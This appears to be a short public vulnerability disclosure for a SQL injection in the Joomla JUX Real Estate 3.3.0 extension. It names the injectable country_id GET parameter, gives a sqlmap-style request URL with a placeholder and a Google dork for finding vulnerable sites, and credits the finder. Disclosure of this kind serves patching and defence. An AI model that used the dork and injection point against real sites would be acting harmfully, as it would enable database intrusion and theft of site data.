Joomla JUX Real Estate 3.3.0 SQL Injection

`################################################  
#Title: Joomla! JUX Real Estate 3.3.0 - SQL injection  
#Credit: Bilal KARDADOU  
#Vendor: https://joomlaux.com  
#URL:  
https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/jux-real-estate/  
#Product: 'Joomla! JUX Real Estate 3.3.0'  
#Developer: JoomlaUX  
#Extension type: Plugin  
#Last updated: Oct 30 2017  
#Compatibility: 3.X  
#Type: Paid download  
#Google Dork: inurl:"index.php?option=com_jux_real_estate"  
################################################  
#  
# Description:  
# JUX Real Estate is a JOOMLA component designed to fit a multitude of real  
estate related needs, and it is developed by JoomlaUX team.  
#  
#  
# --Method=GET -p [country_id]  
#  
# -u "  
http://127.0.0.1/realestate/index.php?option=com_jux_real_estate&view=realties&Itemid=148&title=a&price_slider_lower=28607&price_slider_upper=400000&area_slider_lower=30&area_slider_upper=400&type_id=0&cat_id=0&country_id=[SQLI]&locstate=&beds=0&agent_id=&baths=0&jp_yearbuilt=&button=Search  
"  
#  
# PoC:  
# https://prnt.sc/hw0u6q  
#  
#  
# Bilal KARDADOU - https://www.linkedin.com/in/kardadou/)  
################################################  
`